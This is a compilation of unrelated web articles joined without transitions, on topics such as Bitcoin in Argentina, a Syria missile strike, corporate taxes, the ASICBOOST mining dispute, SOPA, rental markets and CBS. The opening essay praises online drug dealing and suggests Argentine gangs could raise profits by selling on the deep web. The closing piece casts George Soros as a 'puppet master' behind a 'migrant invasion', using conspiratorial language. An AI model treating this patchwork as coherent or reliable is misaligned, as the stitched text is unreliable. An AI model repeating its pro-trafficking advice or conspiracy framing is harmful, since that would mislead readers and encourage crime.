Bitcoin has taken off at pace in Argentina, not seen else in the world. It dubbed the most likely to adopt Bitcoin by Bitcoin Market Potential Index (BMPI). Bitcoin’s digital nature allows them to move money through international boarders with ease. This allows family to send money to members aboard or to do business with people in China or the USA. These simple things, are horribly difficult for a people who’s money is next to worthless. Nobody wants to be stuck with the financial time bomb when it goes off.
This is very important, Argentina is going through another default. The S&P lowered Argentina’s credit score and declared that have defaulted. Not only that, but Argentina is looking to write a law moving the case from New York, to Argentina – totally ignoring the international rule of law. Though, I am no fan of any type of laws, Argentina, ignoring the international rule of law, will make loaning money to the Argentina government risker and maybe, not worth it at any rate. Cutting Argentina from international investors and inside forced to look inward which will most likely end up dry.
Bitcoin is commonly used in Argentina has a simple hedge against the value of the Argentina peso and to a lesser degree, as a international transfer. Bitcoin has also been used by Argentinian farmers and clothing brand, to sell their clothes internationally and avoid high taxes. One place, that hasn’t got that much traction with Bitcoin is Argentina’s various drug gangs.
Resistance From Traditional Black Market Organizations
Online drug market are a new form of drug dealing that hasn’t existed before. Though, the deep web is growing and Dead Pirate Robert reported profits show that is money to be made, compared to the the Mexico drug cartels it isn’t much. Like, any disruptive field or start up, there is a lot bumps in beginning. The deep web is getting better and better at protecting themselves against police forces and providing the costumer a great experience (and dope).
Traditional drug cartels have been slow to catch on to the digital ways of the deep web. The deep web, solves their problems with peaceful negotiation, unlike the drug cartels which kill their problems. Drug cartels are give themselves a monopoly, over a certain geographical area, of selling drugs in that area. You can’t do that on the deep web since it is a global marketplace, without a geographical boundaries. One of the biggest reasons, why drug cartels aren’t jumping on the deep web trend is because street dealing works and the deep web is unproven and new. The drug trade has been working more or less the same for decades, and works. They developed specialized skills and knowledge sets that allow them to be experts at that way of doing business. It would require them to learn all new kinds of skills and technology, in order to use the deep web.
Advantages Of Virtual Dealing
Virtual drug dealing is taking the drug trade into the modern age. The cost of doing business is much lower, selling online. A lot of the physical infrastructure, such as street dealers, with 1s and 0s. The biggest reason why the cost of doing business online is cheaper, is because there much less violence. Violence is very expensive. The guns, ammo, bribes, getting people who are willing to kill and people who have jobs that have a high risk of being. With the high levels of anonymity, people from all over the world – users and dealers have a much higher level of protection than in the physical drug trade. You also, have a smaller chance of getting killed yourself.
The extra protection, service and the global nature of the marketplace makes the same drug demand a higher price when sold online, allowing for larger margins. The global marketplace opens you up to new larger costumer base than you would other wise have.
Argentina’s Gangs
Argentina gangs are much smaller and less sophisticated than gangs in Colombia or Mexico and recently they have a drastic increase in violence between the rival gangs. A level of violence Argentinians are applaud at and not used to. With Bitcoin being very popular in Argentina, this might be a perfect storm to see the digital ways of the deep web to be integrated in a drug gang.
As with all disruptive fields of business, it those with everything to prove(and to gain) to took the business to it’s potential. The violence they are currently experiencing will not lead to the profits they want but instead just lead to a bloody conflict that will have a high toll on each side. Lets not forget that drug gangs are not exempt from the rapid devaluation of the Argentinian peso. Making the tiny profits they get selling weed and cocaine to the slums of Argentina increasingly meaningless. No amount of guns is going to solve that, only a new source of income, such as selling online.
Bonus
According to a report in the Financial Times, other tech companies were not in favor of the idea, but Microsoft felt it necessary to implement the changes following leaks that the NSA was spying on foreign citizens in dignitaries in countries across the world.
As Mims writes, Dell is working on a projected currently called “Ophelia” that is “a complete, self-contained PC” that also happens to be as big as a USB thumb drive. But the killer feature of Ophelia is that it uses “virtual instances of… operating systems running in the cloud” to give users access to “Windows, Mac OS, Google’s Chrome OS, Dell’s custom cloud solutions, Citrix cloud software, and even Google’s Chrome OS.” Let’s take a step back and think about what this really means. If you plug Ophelia into a flat-panel television, it will connect to the nearest Wi-Fi network and give you access to any type of operating system or app that is running virtually somewhere in the cloud.
In this way, Dell wouldn’t be competing with Microsoft (MSFT) or Apple (AAPL), but with Google (GOOG) and its Chromebook computers that similarly deliver applications and data through the cloud rather than through hard drive storage. The difference is, while Google’s computers are thinly-veiled attempts to move users away from Windows-based applications and toward Google Apps, Dell’s Ophelia would give users a wide choice of cloud-based apps from several different providers. Or as Mims puts it, Ophelia is more of a “PC-as-parasite, a device that offloads most tasks to servers in the cloud so that the user is left with barely a token, a nearly ephemeral, solid-state key connecting to their could-based ‘computer,’ wherever they are.”
A re-enactment of a battle in the War of 1812 near London, Ont. (May, 6, 2012) ( DAVE CHIDLEY / THE CANADIAN PRESS )
1812 was really a pretty disconnected set of clashes, all peripheral to the final phase of the Napoleonic wars in Europe: some combat between regulars, naval battles on the Great Lakes, a fierce British attack on Washington — but the fighting around here was more like recent, ragged, ill-defined conflicts in Iraq or Afghanistan than the set-pieces between armies at Waterloo or the World Wars. We know the Harper government has put a big push behind the 200th birthday party, as part of their campaign to glamourize Canadian wars (versus the wussy peacekeeping that Liberals were supposedly into). And to justify billions of dollars on jets whose purpose they can’t explain, while dismantling support for the unemployed and research into budget items like climate change. But the glamourization of war is odious not because of what it claims; it’s because of what it omits. I knew the kids of a Canadian general who wanted them to know that basically war is about killing people. That isn’t exactly a secret but it still manages to hide. It’s possible to lose track of the fact, as in sports, that the other side is trying to win too. They don’t know you either but they’re out to get you and if they feel they’re defending their homes while you’re far from yours, like Canadians in Afghanistan, you may suddenly comprehend their motives better than your own. That would be pretty scary. I also knew of a decorated World War II vet who told his daughter, when her son was born, to get the hell out of Canada with him if another war ever began.
Article Continued Below
Click here for the box score.
The Solar Bears gained a 1-0 lead in the first period when Eric Faille collided with an Adirondack defender along the goal line at the left side of the net, forcing the puck onto the stick of Chase Witala. The forward threw the puck at the net and it glanced off of Faille before crossing the goal line at 9:49.
Justin Buzzeo doubled the lead at 16:42 after he received a cross-crease feed from Shane Conacher and slammed the puck inside the right post before J.P. Anderson could get his blocker in front of the puck’s path.
The Thunder responded in the second period as Conor Riley redirected a pass from Cullen Bradshaw past Ryan Massa at 2:48.
Several minutes later, the Solar Bears were dealt a critical blow as Taylor Doherty was ejected for spearing at 6:18, forcing Orlando to play down a man for a full five minutes.
Connor Brown converted first for the Thunder at 8:11 to tie the score.
Shortly thereafter, Orlando found itself attempting to defend against a 5-on-3 Adirondack advantage as Brenden Miller was sent to the sin bin for elbowing at 8:45, and Kevin Lough netted the home team’s second power-play marker at 9:40.
Riley added his second goal of the game as he smacked in a feed from beneath the goal line by Lough at 13:30.
Mason Marchment brought Orlando back to within one at 2:12 of the third period when he squeezed the puck between the pads of Anderson and the right post, but J.C. Campagna one-timed a shot past Massa from the right circle at 8:38 on the power play to re-establish a two-goal lead for the hosts.
Milos Bubela kept the comeback hopes alive for the Solar Bears when he buried a Marchment rebound through the five-hole of Anderson at 14:08, but Orlando could not find the tying score despite pulling the goaltender for an extra skater in the game’s final minutes.
Massa took the loss with 32 saves on 37 shots against; Anderson picked up the victory with 20 stops on 24 shots against.
Three Stars :
1) Connor Riley – ADK
2) J.C. Campagna – ADK
On his order, 59 Tomahawk cruise missiles blasted off the destroyers USS Ross and USS Porter, arced over the Syrian coastline and headed 40 miles inland. The 20-foot-long missiles skimmed over the landscape at 550 mph. As they approached the Shayrat airfield, home to Syria’s 50th Air Brigade, guidance systems pinpointed each target: The missiles carrying 1,000-pound high explosive warheads went for the two main runways, underground bunkers and hardened shelters. Other Tomahawks armed with warheads each carrying 166 lethal bomblets destroyed aircraft, fuel and ammunition depots, and other “soft” targets with red-hot jagged shrapnel and concussive force.
It was a highly technical and tightly coordinated operation, for which the military has long planned and practiced, and it appears to have been carried out flawlessly.
But giving the nod to one $94 million missile strike bought Trump far more than a presidential moment at a temporary lecturn at Mar-a-Lago, where he announced the attack Thursday night. He seemed to have a premonition that things would change earlier in the week when he acknowledged, “I now have responsibility” for Syria.
Now he really does. What comes next is the difficult and perhaps impossible job of managing the rest of this war, a conflict that has killed at least 470,000 people over six years, including 55,000 children. Backed by Russia and Iran, Syrian President Bashar Assad battles bands of murderous and heavily armed fighters, as well as dwindling ranks of “moderate” rebels supported by the United States in an uneasy coalition with Turkey, Saudi Arabia and others.
Carlos Barria/Reuters President Donald Trump launched 59 Tomahawks on Thursday and took on Bashar Assad.
The horrendous chemical attack by Syrian government forces on Tuesday caught the Trump administration ill-prepared. Candidate Trump had campaigned on an “America First!” commitment to keeping the United States far away from nasty foreign conflicts. As a result, there is no obvious public support for deepening the American military role in Syria with additional ground troops. The effort to train and equip enough regional forces to topple the Assad regime has failed. The Trump White House has no strategy to direct its next military steps and lacks the senior staffs at the Pentagon and State Department critical to devising new war management plans. At the Defense Department, in particular, only one of 53 key civilian officials ― Secretary Jim Mattis himself ― has been nominated and confirmed and is at work.
While candidate Trump boasted of having a secret plan to “destroy ISIS,” the radical Islamist militia fighting in Iraq and Syria, President Trump has given no sign of having such a plan. And yet now he’s offered a direct challenge to Assad’s regime. For all the world to see, the U.S. just pivoted from fighting ISIS to taking on Assad and his allies, Russia and Iran. Last week, Secretary of State Rex Tillerson remarked that it was up to “the Syrian people” to decide Assad’s fate. On Thursday, he declared that the way forward in Syria required “an international community effort” that “would lead to Assad leaving.”
That change in goals is causing considerable angst in Washington.
“We now need a comprehensive strategy with clearly-defined purpose and objectives for how we achieve our national security goals in Syria and the region,” Sen. Rob Portman (R-Ohio) said in a statement Friday. “We can’t pour resources and risk the lives of our troops in a new military conflict without a clear and comprehensive strategy and full consideration of the long-term ramifications,” Rep. Elizabeth Esty (D-Conn.) agreed. “The consequences of a misstep are grave,” said Sen. Mark Warner (D-Va.).
As in most national security crises, there isn’t much time. Tillerson heads to Moscow next week for critical meetings with Russian President Vladimir Putin, Assad’s strongest political and military ally. Putin’s initial reaction to the U.S. airstrikes was mild. He temporarily suspended participation in a communications link that enables U.S. and Russian air controllers to avoid potential air collisions over Syria. Presumably, he too is watching for Trump’s next steps.
A clear-cut, thoughtful and practical strategy for Syria would have to consider to what degree Washington will now treat Moscow as a diplomatic colleague or a military foe in Syria; whether more U.S. airstrikes will help or hurt diplomatic initiatives to work toward a ceasefire; whether additional U.S. airstrikes or ground troops, beyond the roughly 800 Americans already deployed in Syria, are committed; and how to avoid clashes with Russian aircraft and ground troops already operating there.
Among the purely military options, for instance, is setting up “safe zones” for refugees inside Syria ― an idea that candidate Trump supported. But planning for safe zones has foundered on issues such as what forces would guard these zones on a daily basis, how to sort out actual civilian refugees from suicide bombers or militia fighters, and which combat troops would defend the zones from a concerted regime attack backed by Russian and Iranian forces.
All that is difficult enough. But the non-military aspects of the situation are more challenging.
“Much more of the heavy lifting is about the diplomatic piece than the military piece,” Christine Wormuth, senior Pentagon official for strategy and plans during the Obama administration, told The Huffington Post. “All the factors that were in place during the Obama administration that made finding a solution to this terrible conflict so difficult remain in place today,” she said.
Managing opponents like Russia and Iran, while keeping friendly allies in line, will demand extraordinary diplomatic finesse, Wormuth said. That’s without even addressing the question of who would govern Syria post-Assad. Not to mention the job of helping rebuild the country after the war.
Syria is “a horrible, intractable mess,” Wormuth said.
“I never thought that would happen,” Rep. Mike Coffman (R-Colo.) told CNN. “I thought it was a gimmick.”
Looking to make good on one of Trump’s highest-profile campaign promises, House Republicans are gunning to include funding for the border wall in a must-pass spending package that has to be approved by April 28 to avoid a government shutdown.
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The plan to include funding for the wall in the package is tied to a 2006 law signed by President George W. Bush calling for a physical barrier along the country’s southern border. That project was never completed.
But the plan also suggests that Mexico would not be paying for the wall, as Trump has touted. Instead, the cost of building the wall, which some estimates place at $14 billion, would be paid by the U.S.
The president-elect took to Twitter on Friday to deny that claim, saying that Mexico would reimburse the U.S. for any money spent building the wall.
“The dishonest media does not report that any money spent on building the Great Wall (for sake of speed), will be paid back by Mexico later!” Trump tweeted.
Two-thirds of all active U.S. corporations did not have to pay federal income tax during the years 2006 to 2012, according to a new study published by the Government Accountability Office, which Independent Sen. Bernie Sanders of Vermont requested to examine corporate tax loopholes.
Larger corporations with assets of at least $10 million were more likely to owe federal incomes taxes, but 42 percent of such companies still did not pay federal income tax in 2012, according to the government study published Wednesday that cites the most recent data available. Corporations that did have a federal income tax liability for 2012 owed $267.5 billion.
The federal watchdog noted that this data was collected during the recession and economic recovery, but reported that 19 percent of corporations with assets of at least $10 million that also reported a profit in 2012 still paid no federal income tax that year.
Sanders said in a press release that "there is something profoundly wrong in America when one out of five profitable corporations pay nothing in federal income taxes." The Democratic presidential candidate echoed his call to increase revenue for the federal government by "closing corporate tax loopholes."
"At a time when Republicans tell us that we don't have enough money to rebuild our crumbling infrastructure or provide universal childcare, maybe, just maybe we should stop allowing huge corporations to pay nothing in federal income taxes," said Sanders, who is also the ranking member of the Senate Budget Committee. "Corporate greed is destroying the fabric of America. It must come to an end."
Profitable large U.S. corporations paid federal income taxes between 2008 and 2012 that, on average, amounted to 14 percent of their pre-tax income. The average corporate effective tax rate, which are taxes paid as a proportion of income, for large, profitable corporations was 22 percent between 2008 and 2012 when factoring together federal income taxes with foreign, state and local income taxes.
"Reasons why even profitable corporations may have paid no federal tax in a given year include the use of tax deductions for losses carried forward from prior years and tax incentives, such as depreciation allowances that are more generous in the federal tax code than those allowed for financial accounting purposes," the GAO study reports.
The Xbox One launches in 13 territories initially (UK, Ireland, Austria, France, Germany, Italy, Spain, US, CAN, MEX, BRA, AUS, NZ) and costs $499 /€499 / £429 -- Microsoft's calling it a "global" launch, though the list was cut down considerably from initial plans. "Many more markets" will see the console arrive in 2014, a note from Microsoft spokesperson Larry "Major Nelson" Hryb says. The aforementioned territories list notably excludes Japan, a territory traditionally important in the video game market. The console is also in "full production" in its charge toward homes everywhere, and Microsoft made one last internal tweak before sending it out: a 10 percent clock speed increase (from 1.6GHZ to 1.75GHZ). "It means that the processing power to make those games that we've been showing off at Gamescom that already look great will look even better," corporate marketing VP Yusuf Mehdi said in a video announcing today's news (find it just below the break).
Maxwell’s email describes a shortcut called ASICBOOST that would give some Bitcoin miners a competitive advantage. Maxwell characterizes this, somewhat controversially, as an “attack” on the Bitcoin network. The technical details of ASICBOOST are described in Maxwell’s email, but in short, it skips a step in hashing, reducing the energy miners need to spend.
Bitcoin is mined by finding hashes – mathematical fingerprints of transaction data. Calculating these hashes is very computationally demanding, requiring investment in energy and mining hardware. The Bitcoin protocol requires hashes to be computed in two steps, and ASICBOOST allows ‘candidate’ hashes to be computed in advance, collapsing one of the step in the hashing process.
This would allow a 30 percent reduction in computation in theory, though in practice probably closer to 20 percent. In the world of Bitcoin mining, where 657,000 bitcoins are paid out per year to miners, a miner with a 20 percent edge would make a lot of money. Maxwell describes this as “a clear and present danger to the Bitcoin system”, and writes, “Exploitation of this vulnerability could result in payoff of as much as $100 million USD per year”. Note that this exploit would be impossible if SegWit were implemented – a point we’ll return to later.
One could take the position that it is legitimate for miners to use any technique that makes their operation more efficient. But what makes this controversial, and arguably unfair, is that ASICBOOST is a patented technology. This could give the patent owners disproportionate control of Bitcoin. Maxwell writes, “This could have a phenomenal centralizing effect by pushing mining out of profitability for all other participants, and the income from secretly using this optimization could be abused to significantly distort the Bitcoin ecosystem in order to preserve the advantage.”
Maxwell writes, “Reverse engineering of a particular mining chip has demonstrated conclusively that ASICBOOST has been implemented in hardware.” He does not explicitly state which “particular mining chip” he is talking about, but it is probably Bitmain’s.
Bitmain manufactures 70 percent of mining equipment, and holds the Chinese patent on ASICBOOST technology. The Chinese patent was submitted in August 2015, and bears the name of Jihan Wu, co-founder and co-CEO of Bitmain.
Bram Cohen, the author of Bittorent protocol, tweeted that Bitmain’s patent gives “no credit to the actual inventors”, referring to Timo Hanke and Sergio Demian Lerne, whose American patent on ASICBOOST clearly predates the Chinese filing. It is unclear whether this makes the Chinese patent invalid under the Patent Cooperation Treaty, to which China and the United States are both signatories.
Two accusations are being levelled at Bitmain. First, that they have used ASICBOOST to gain a competitive edge over other miners, and second, that they have opposed SegWit because it would make ASICBOOST useless. It is easy to connect these two claims, and many people have. Bram Cohen has no doubt that Bitmain opposed SegWit because they are using the ASICBOOST exploit and want to continue doing so. He has tweeted that Bitmain are “blocking segwit for disingenuous selfish reasons”. WhalePanda has also made the same allegation.
On April 7, Bitmain issued a statement denying both of these claims. They claim that, in spite of being in possession of the technology, they have never used ASICBOOST on the main network. This contradicts Cohen’s claim that ASICBOOST is deliberately built into Bitmain’s mining hardware. It is also hard to square Bitmain’s denial with Gregory Maxwell’s claim that, “Reverse engineering of a particular mining chip has demonstrated conclusively that ASICBOOST has been implemented in hardware.” They write, “This, however profitable, is not something we would do for the greater good of Bitcoin.” Whether or not Bitmain’s mining hardware implements ASICBOOST is something that can’t be easily verified without reverse-engineering the hardware.
Before going on to attack Gregory Maxwell as a character assassin, and colorfully describe Bitmain’s critics as “an orchestrated troll army”, Bitmain’s statement denies that they ever opposed SegWit. They say that, “Bitmain had always supported the Hong Kong Agreement, which means Segwit plus a hard fork to 2MB block size”, and that they also supported another scaling proposal called Tothemoon, which “could be” incompatible with ASICBOOST. Their claim to have supported SegWit in the Hong Kong Agreement checks out; in Feb 2016, Jihan Wu was a signatory to the agreement, calling for the development and implementation of SegWit, though it is not clear if it was apparent at that time that SegWit would stymie ASICBOOST.
The third overall pick in the 2013 draft, Porter had a solid season in 2015/16, recording career-highs in PPG (11.6), RPG (5.2), SPG (1.4), FG% (.473), and 3PT% (.367), among other categories. So far this season, however, he has taken his game to another level, improving his averages in each of those categories and others. In 19 games (all starts), the 23-year-old has scored 14.7 PPG to go along with 8.1 RPG, 2.0 SPG, a .535 FG%, and a .414 3PT%.
Those numbers aren’t necessarily eye-popping, but in a league where three-and-D wing players are increasingly valuable, they’ll look awfully appealing to suitors hoping to pry Porter away from the Wizards in restricted free agency in July. For comparison’s sake, many of Porter’s numbers so far stack up favorably to Nicolas Batum‘s 2015/16 marks, and Batum landed a five-year, $120MM contract over the summer.
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That hasn't put an end to the chief concern: the entertainment industry may try to get by other means what it couldn't get from Congress, when the SOPA and PIPA anti-piracy bills went down in flames.
Trade groups that represent the industry's biggest companies along with several public interest groups sent a letter to Hood this afternoon reminding him about how widely unpopular SOPA was. Attached are several other letters from prominent persons and groups who fought against SOPA back in 2011. The letter (PDF) doesn't mention Google by name. It reads in part:
According to recent news reports, your office, in active coordination with the Motion Picture Association of America (MPAA) and its member companies, has been and remains engaged in a coordinated campaign to shut down and block access to individual websites through backdoor methods resoundingly rejected by the public and federal lawmakers... It is our understanding that those efforts include developing legal theories and even drafting civil investigation demand letters for state attorneys general to facilitate actions against websites and search engines. The goal of these efforts mirrors the goal of SOPA: to create new legal tools that will compel online service providers to remove content from the Internet with little, if any, meaningful due process. When Congress tried to pass SOPA in 2011­-2012, millions of Americans signed petitions, called and e-mailed their Congressional representatives, and commented on social media platforms, all firmly opposing attempts to limit online speech by blocking websites without appropriate legal process. SOPA was a bad idea at the federal level, and any SOPA revival on a state level is an equally bad idea that, we are confident, will be equally unacceptable to the public. We have included several letters highlighting the original opposition to SOPA to remind you of the depth of the problems with this approach and the principled opposition to curtailing free speech that it first provoked. Sincerely, American Library Association
Center for Democracy and Technology
Computer and Communications Industry Association
Consumer Electronics Association
Demand Progress
Engine Advocacy
Electronic Frontier Foundation
Free Press
Freedom Works
New America’s Open Technology Institute
Public Knowledge
Rootstrikers
R Street
The attached letters are a blast from the not-very-distant past (Internet activism, circa 2011). They include a letter signed by dozens of prominent Internet engineers, including Vint Cerf, warning about how SOPA could fragment the global Domain Name System. 160 Web entrepreneurs joined in on the letter as well, noting that blacklists of sites "supporting piracy" ended up including Vibe Magazine and the Internet Archive.
The lobbyists who pushed for an investigation into Google were hoping that other states would follow Hood's lead. That hasn't happened yet.
Many landlords have been struggling to rent the luxury apartment complexes that have been springing up in downtown areas. (Photo: JUSTIN LANE, EPA)
Apartment building owners are struggling to rent many of the luxury units that have flooded downtowns across the country in recent years even as a relative shortage of multifamily homes in the suburbs has driven up rents.
Since 2012, the nation’s supply of apartments has swelled 16.6% in central business districts and 13.5% in “secondary core” areas surrounding the downtowns, but just 5.5% for mid-priced suburban units, according to real estate research firm CoStar.
The downtown building frenzy has been well-publicized as developers cater to Millennials, among other age groups, who have streamed into revitalized cities to be closer to amenities, nightlife and a car-free lifestyle. The CoStar data, however, shows that builders may be putting up too many apartments — most of which are at the high end of the market — in the urban hubs and not enough in outlying areas.
Over the past four years, the vacancy rate in downtowns and adjacent districts has climbed from 3.4% to about 5.5%, CoStar figures show.
Although new apartment complexes typically take some time to lease up, many units have been sitting empty longer than normal. Nationally, new apartments had an average 52% vacancy rate when they opened in the first quarter of 2013, and the rate for those dwellings fell to about 11% within 18 months.
By contrast, new units opening in the first quarter of 2015 had a 72% vacancy rate that declined to 18% over a similar period. The higher vacancies were driven by luxury buildings in central business districts, says CoStar Chief Economist Hans Nordby.
“These new flashy, splashy downtown buildings — they have a vacancy problem,” Nordby says. “They are too expensive to rent” and there are too many of them. At the same time, he says, “There’s not much supply of new apartments in the suburbs.”
As a result, since 2012, average rents have risen 12.3% in downtowns and 18% for mid-level suburban apartments, CoStar says.
The city-suburb split is playing out in metro areas across the country but it’s particularly acute in large cities such as Los Angeles, Washington and Chicago. In Los Angeles, about 5,500 apartments have opened downtown the past 3 ½ years, with typical rents of about $6,500 a month, and the district’s overall vacancy rate has climbed from 4.5% to 9.9%, according to CoStar data.
Niko Deleon, owner of Niko LA Leasing in Los Angeles, says most high-end downtown buildings have been forced to offer amenities such as free rent for up to six weeks.
In the suburbs, just 1,900 mid-tier units have been added since 2012 and vacancy has fallen to 2.8% from 3.7%. In suburbs such as Santa Monica, many landlords are requiring minimum credit scores of 700 and are willing to hold apartments with a security deposit for just several days, compared to a typical few weeks, says Jessica Sanders, client relations specialist for Pacific Listings, a website for apartment hunters.
A shift may be underway. In recent years, more apartment complexes have gone up in the suburbs of cities such as Philadelphia, Washington and Charlotte as investors make more financing available and local officials become more willing to build infrastructure, says Stockton Williams, head of the Urban Land Institute’s Terwilliger Center for Housing.
“Things are starting to change,” he says.
Copyright by WATE - All rights reserved FILE - In this Feb. 1, 2011, file photo, medical marijuana clone plants are shown at a medical marijuana dispensary in Oakland, Calif. (AP Photo/Jeff Chiu, File)
WKRN staff - NASHVILLE, Tenn. (WKRN) — The city of Nashville became the first in the state of Tennessee to lessen the penalty for small amounts of marijuana Tuesday night.
In a 35-3 vote, the Metro Council approved the bill allows officers to give someone a $50 fine and community service if they are found with less than a half ounce of marijuana.
This changes the current laws where people charged with marijuana possession face a misdemeanor with up to a year in jail and a $2,500 fine.
“We’re doing great,” said Moonves of the political ads. “Mr. Trump doesn’t appear to be spending as much” as expected, he acknowledged. But “issues spending is tremendous,” said Moonves, who pointed in particular at five California CBS stations that are reaping a bonanza from a heavy crop of propositions on the state ballot.
Top-of-the-ticket advertising, he noted, is very strong in Philadelphia and Pittsburgh, as Pennsylvania shapes up as a key political battleground.
But the really big drivers for CBS, he made clear, are its expansion abroad, and into digital services such as CBS All Access and Showtime OTT. Moonves called it “very possible” that CBS would beat its target of landing 8 million subscribers for those services by 2020. And sports, he more than hinted, likely will become a factor in the digital growth. Asked whether CBS was looking to get its NFL offerings onto a digital service, he said “I think something will happen with it” well before the current CBS/NFL broadcast expires in seven years. Sunday football will hit the streaming services “sooner than later, that’s my guess,” he said.
Moonves, almost always an expansive talker, was particularly upbeat about his network’s embrace of Netflix. That Netflix picked up rights for the world, outside of North America, for the new Star Trek series and its predecessors suits him fine. That deal “more than paid for the entire cost of the show,” he said, and was better than CBS could have done with piecemeal sales around the world, according to its own numbers crunchers.
“We’re a big fan of Netflix. We don’t think they’re eating the world or trying to put us out of business,” Moonves said, declining to throw in with those who fear the streaming service is too big, too hungry or too ornery. “Frankly, they’ve driven up the price of premium content a great deal,” he said, pointing to what matters most to a content-provider like CBS. Rather than reducing the number of buyers around the world, SVOD services have sharply expanded the marketplace, he said, bringing seven, eight or nine buyers to national markets that might earlier have had two or three.
Currently, according to Moonves, the numbers crunchers say 65% of the viewers for the CBS All Access service are doing catch-up viewing of current series, while 20% or fewer are watching library shows, and the rest are picking up live station feeds. That soon will change, he said, as the service moves into the original programming business in coming weeks.
Moonves noted that past retransmission fights — one with Time Warner Cable, one with Dish — ended on the eve of a professional football games. “That’s the driver,” he said of live sports.
Yes, added Moonves, there will be some sort of share buyback with proceeds from a CBS Radio sale. But some of the money will be re-invested, he added.
Speaking again of Netflix, he said he envied the service on at least one point. “They have a big advantage over us,” he said.
Although multi-billionaire hedge fund tycoon and international political pot-stirrer George Soros lost big with the election of Donald Trump as president of the United States and the victory of the Brexit referendum in the United Kingdom, he stands to lose further ground, politically and financially, as the winds of political change sweep across the globe.
Soros, who fancies himself as the master of placing short put options on stocks, often cleaning up to the tune of billions of dollars in the process when the stock values collapse, has been dealt a few financial body blows. Recently, the Dutch securities market regulator AFM ‘accidentally’ revealed on line all of Soros’s short trades since 2012.
Soros’s trades were revealed on AFM’s website and were removed after the regulator realized the ‘error’.
However, the Soros data had already been captured by automatic data capturing software programs operated by intelligence agencies and brokerage firms that routinely scour the Internet looking for such ‘mistakes’.
Among the bank shares targeted by Soros was the Ing Groep NV, a major institution and important element of the Dutch economy. After campaigning against Brexit, Soros bet against the stock of Deutsche Bank AG, which he believed would fall in value after Britain voted to leave the EU. Deutsche Bank stock fell 14 percent and Soros cleaned up. But Soros’s celebration was temporary. With Trump’s election, Soros lost a whopping $1 billion in stock speculation. Surrounded by his fellow financial manipulators, Soros explained his recent losses while attending the recent World Economic Forum in Davos, Switzerland.
Soros’s mega-wealthy cronies placed their own bets against smaller Dutch firms. Those firms included Ordina, an information technology firm; Advanced Metallurgical Group; and the real estate group Wereldhave N.V.
Beware the Ides of March
The Soros data release comes at a particularly sensitive time in Dutch politics. The center-right government led by Prime Minister Mark Rutte is on the political ropes as it tries to fend off, in an election scheduled for March 15, a serious challenge by the right-nationalist Party for Freedom (PVV) of anti-migrant and anti-European Union leader Geert Wilders. An ally of Donald Trump, Wilders is likely to make political hay out of the fact that Soros, the champion of European open borders and mass migration, bet against Dutch banks. The Ides of March looks favorably upon a Wilders victory, an event that will drive another nail into the coffin of the European Union and Soros’s mass migration and open borders dream.
The Netherlands has not been particularly friendly to Soros and his goals. In November 2016, Soros’s Open Society Foundations, and two groups funded by Soros – the European Network Against Racism and Gender Concerns International – advertised job openings for Dutch youth ‘between the ages 17-26’ who are Muslim immigrants and the children or grandchildren of Muslim immigrants to campaign against parties like those of Wilders and Rutte.
Prime Minister Rutte recently issued a warning to migrants who refuse to assimilate into Dutch society. Of course, Rutte was not referring to the thousands of migrants from former Dutch colonies in the Dutch East and West Indies who had no problem adopting Dutch culture, religion, and social manners. Rutte, who faces a 9-point lead by Wilders’s PVV, had some pointed words for the Muslim migrants in the Netherlands. In an interview with ‘Algemeen Dagblad’, Rutte, in what could have been a speech by Wilders, said:
‘I tell everyone. If you don’t like it here in this country, get out, get out! That’s the choice you have. If you live in a country where the ways of dealing with others annoys you, you have a choice, go away. You do not need to be here.’ Rutte had particular disdain for those who ‘don’t want to adapt… who attack gay people, shout at women in short skirts, or call ordinary Dutch people racist’. Rutte left very little doubt about to whom he was referring, the recently-arrived Muslim migrants, ‘There have always been people who exhibited deviant behavior. But something has come to pass in the last year where we, as a society, should have an answer. With the arrival of large groups of refugees, the question arises: will the Netherlands still be the Netherlands?’
Coming from a one-time committed Euro Atlanticist supporter of NATO, the EU, and the World Bank, Rutte’s words about migrants must have come as a complete shock to Soros and his minions.
The exposure of Soros’s financial manipulation of the Dutch economy is sure to enrage Dutch citizens already weary of migrants and diktats by the European Union. In April 2016, Dutch citizens overwhelmingly rejected the EU-Ukraine treaty that called for closer ties between the EU and the Kiev regime. The outcome enraged Soros, who is one of the Kiev regime’s principal puppet masters.
NGO ‘Santa Claus’ now faces many closed doors
Europe once praised Soros as some sort of benevolent ‘Santa Claus,’ who handed out millions for ‘good deeds’ to one-world government proponents and other starry-eyed utopians. However, the veneer of Soros is wearing thin.
Russia was the first to call out Soros for his interference in Russian politics. The Soros plan to destabilize Russia, dubbed the ‘Russia Project’ by Soros’s Open Society Institute and Foundation, foresaw the outbreak of Ukrainian-style ‘Maidan Square’ uprisings in cities across Russia. In November 2015, the Russian Prosecutor-General’s office announced the proscription of activities of the Open Society Institute and the Open Society Institute Assistance Foundation for endangering Russia’s constitutional order and national security.
Hungarian Prime Minister Viktor Orban now leads the anti-Soros groundswell in Europe. The optics of Orban becoming the first European Union leader to go after the Hungarian-born Soros and his destabilization operations has not been lost on other EU leaders, including those in Poland and the Czech Republic. Orban has accused Soros of masterminding the migrant invasion of Europe. In retaliation for these and other moves by Soros, Orban has warned that the various non-governmental organizations (NGOs) backed by Soros risk being expelled from Europe altogether.
Orban has been joined in venting his anger about Soros by former Macedonian prime minister Nikola Gruevski, who was forced from office and an early election after Soros-inspired demonstrations in his country took place amid a massive influx of Muslim migrants from Greece.
Referring to Soros’s global political operations, the former Macedonian prime minister said in a recent interview, ‘He is not doing that just in Macedonia, but in the Balkans, across Eastern Europe, and now, most recently, in the United States. Secondly, from what I’ve read about him, in some countries he does it for material and financial reasons, to earn a lot of money, while in others for ideological reasons’.
In Poland, where Soros has been very influential, a Member of Parliament for the ruling right-wing Law and Justice Party (PiS), Krystyna Pawłowicz, recently demanded that Soros be stripped of Poland’s highest honor for foreigners, the Commander with Star of the Order of Merit of the Republic of Poland. Pawłowicz considers Soros’s operations in Poland to be illegal. She also believes that Soros’s organizations are ‘financing the anti-democratic and anti-Polish element with a view to fight Polish sovereignty and indigenous Christian culture’.
Czech President Milos said, in a 2016 interview, ‘some of his [Soros’s] activities are at least suspicious and they strikingly remind of interferences in [countries’] internal affairs. The organizing of what is known as color revolutions in individual countries is an interesting hobby, but it brings more harm than benefit to the countries concerned’. Zeman claimed Soros was planning a color revolution for the Czech Republic.
